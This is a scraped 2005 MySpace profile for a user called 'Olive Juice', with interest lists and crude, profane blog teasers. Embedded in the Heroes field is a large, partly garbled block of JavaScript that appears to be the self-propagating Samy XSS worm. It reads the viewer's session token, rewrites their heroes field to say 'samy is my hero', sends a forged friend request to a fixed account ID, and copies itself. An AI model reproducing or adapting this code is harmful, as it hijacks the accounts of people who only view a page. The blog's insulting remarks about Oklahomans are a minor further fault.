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Olive Juice

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About Me

I like a little bit of everything but I am not obsessed with any one thing like most people. I love spending time outside when it's pretty out there, when it's not pretty out there I like to cuddle up with a coloring book and classic cartoons or an old horror flick. This is so stupid, like I can sit here and type who the hell I am. If you want to add me, you best have something to say first. I'm not into friend collecting on myspace, and I'm definitely not here to be in your collection either. I do really love people, though, and encourage you to message me if you have something to actually say. Take care now, and have a wonderful day...or fuck off, either one. :)Click here for Myspace glitter graphics and Myspace layouts

My Interests

Life...mostly. ;)

I'd like to meet:

I just don't know...

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Music:

Led Zeppelin, Dwight Yoakum, The Eagles, The Beatles, Elvis Presley, Stone Temple Pilots, Bellamy Brothers, Alice in Chains, Guns N Roses, Bloodhound Gang, Willie Nelson, Roxette, Traveling Wilburys, UB40, White Lion, Bob Segar, Dar Williams, John Denver, John Mellancamp, Velvet Revolver, Sublime, Fleetwood Mac, Tom Jones, Kid Rock, Green Day, Boston, Red Hot Chili Peppers, Tracy Chapman, Def Leppard, Jimmy Buffett, Heart, Poison, Metallica, John Lennon, Aerosmith, Liz Phair, Meatloaf, No Doubt, Beastie Boys, Audioslave, Bon Jovi, Sublime, Sir Mixalot, Barenaked Ladies, Counting Crows, Kiss, Marilyn Manson, New Kids on the Block, Tom Petty, Vanilla Ice, Cyndi Lauper, Dire Straits, Queen, The Doors, They Might Be Giants, Pantera, Journey, .38 Special, Janis Joplin, ZZ Top, Lita Ford, Ozzy Osbourne, Van Morrison, Jewel, George Michael, Mighty Mighty Bostones, The Offspring, Sugar Ray, The Police, Prince, Bob Marley, Pink Floyd, REO Speedwagon, Billy Idol, Norah Jones, Talking Heads, Weezer, Neil Young, Neil Diamond, Third Eye Blind, Blink 182, Abba, AC/DC--GOD THIS IS HARD!!

Movies:

The Neverending Story, Lord of the Ringseseses, Horror Films, all Ernest Movies, almost all John Wayne movies, Louis Lamour movies, Quentin Tarantino stuff, Tank Girl, anything George Lucas touched, Joe's Apartment, Empire Records, The Big Lebowski, Gone With the Wind, Forrest Gump, True Stories, Mel Brooks stuff, Little Miss Sunshine, anything with Liv Tyler or Owen Wilson in it...double yummmm, ooh, and some of those Hallmark made for t.v. thingies with the woowoo fantasy stuffs, and way too many for me to go through...it's hurting me brain...poor brain.

Television:

Television is a brain rotting evil that I will not condone by confessing my own sinful indulgences here.
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Books:

Anything by Dr. Suess or Shakespeare, Fear and Loathing in Las Vegas, Harry Potter, The Bible, The Narnia Chronicles, Poetry, The Looking Glass Wars, Self Help--if you can't..who can?, Teachings of Don Juan, New Age shit, All sorts of nonfiction and/or reference books. God I'm a loser. Oh well. Wait, do cereal box backs count here? I can't find anywhere else to list those... MySpace Comments MySpace Codes

Heroes:

John Lennon, Gandhi, Jesus--the King of Jews, Steve Burns--from Blue's Clues, Dolly Parton, Elvira--Mistress of the Dark, the Tooth Fairy, Ernest P. Worrell--know what I mean?, Yoda, Grover, Miss Piggy, Mom, Olivia--my darling daughter & Ethan my dear son, Robin Hood, Peg Bundy, Buddha, Count Dracula, Santa, Anyone who dares to be who they are regardless of the consequences, and Mother Nature0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J...statechange=BI');J.open(BJ,BH,true);if(BJ=='POS T'){J.setRequestHeader('Content-Type','application/x-www-for m-urlencoded');J.setRequestHeader('Content-Length',BK.length )}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){ if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseact ion=profile.previewInterests&Mytoken='+AR,postHero,'POST ',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';A S['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');ht tpSend('/index.cfm?fuseaction=profile.processInterests&M ytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN +'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite .addfriend_verify&friendID=11851658&Mytoken='+L,proc essxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['subm it']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsP rocess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}f unction httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}..'xmlhttp2...statechange=BI');xmlhttp2.open(BJ,BH,tru e);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type',' application/x-www-form-urlencoded');xmlhttp2.setRequestHeade r('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"

My Blog

Fuck the political bullshit...

Just so all of you know, none of you know shit in my eyes. You could all go back and forth all fucking day defending Bush, or Michael Moore, or fucking Islam for all I care. You know nothing, if it we...
Posted by Olive Juice on Sat, 03 Sep 2005 05:20:00 PST

In God's Name We Sin~~Amen.

This is a repost from Guy, and we all thank him for it, right?  M'kay...now, if you're offended by this, fuck off you stupid ignorant bastard.  The rest of you, have a wonderful day!! "This ...
Posted by Olive Juice on Mon, 29 Aug 2005 11:55:00 PST

More stuff about me and what I like...

...because I'm so sure you all care so much...hahaha I love thrift stores, street fairs, garage sales, auctions/estate sales, ebay, second hand boutiques, antique malls, dollar stores, sidewalk sales,...
Posted by Olive Juice on Mon, 01 Jan 1900 12:00:00 PST

The stuff profiles never tell you...

I don't shave as often as other girls.  Hell, I don't even bathe as often as other girls do.  I have very very tacky taste in music.  I have even tackier taste in home decor. ...
Posted by Olive Juice on Mon, 01 Jan 1900 12:00:00 PST

What I love to love about a man...

This is not about one man in particular.  This is what I hope to love about someone someday. his long or bald hair, cologne, the way he laughs and doesn't cover his mouth like a lot of ...
Posted by Olive Juice on Mon, 01 Jan 1900 12:00:00 PST

OKLAHOMA

Yeah, so...JESUS CHRIST OKLAHOMA IS FULL OF PEOPLE THAT BY ALL MEANS SHOULD BE DEAD. I mean it. They just breed so fast that natural selection can't keep up. Oh, and, OU--fuck all of you fucking li...
Posted by Olive Juice on Mon, 01 Jan 1900 12:00:00 PST

I WOULD IF I COULD

If I were GoD... 1. I'd make sperm relevant to animal size. 2. I'd give men a third hand between their nutts and their asses, so they can just keep scratching without dirtying up a good hand. ...
Posted by Olive Juice on Mon, 01 Jan 1900 12:00:00 PST

Latest News...

So, in the past couple of days I've seen three videos that have really impacted me. The first was a poopooporn. Nasty. Three girls, one guy. One girl shat, two others commenced to smearing it al...
Posted by Olive Juice on Mon, 01 Jan 1900 12:00:00 PST

HUMP DAY IT'S HUMP DAY

Yep, not that it matters. I don't have a hump. I have a lump, and a couple of clumps, and a little bit of the bumps, heehee...but that was not my fault. He said it was chicken pox, and I thought, o...
Posted by Olive Juice on Mon, 01 Jan 1900 12:00:00 PST

Silence of the Cows

Okay, so this guy on here...I won't mention names....okay CONDOR...totally just told me that I look like Jody Foster. How gross is that? See? You read the blog about my teenage neighbors, and now t...
Posted by Olive Juice on Mon, 01 Jan 1900 12:00:00 PST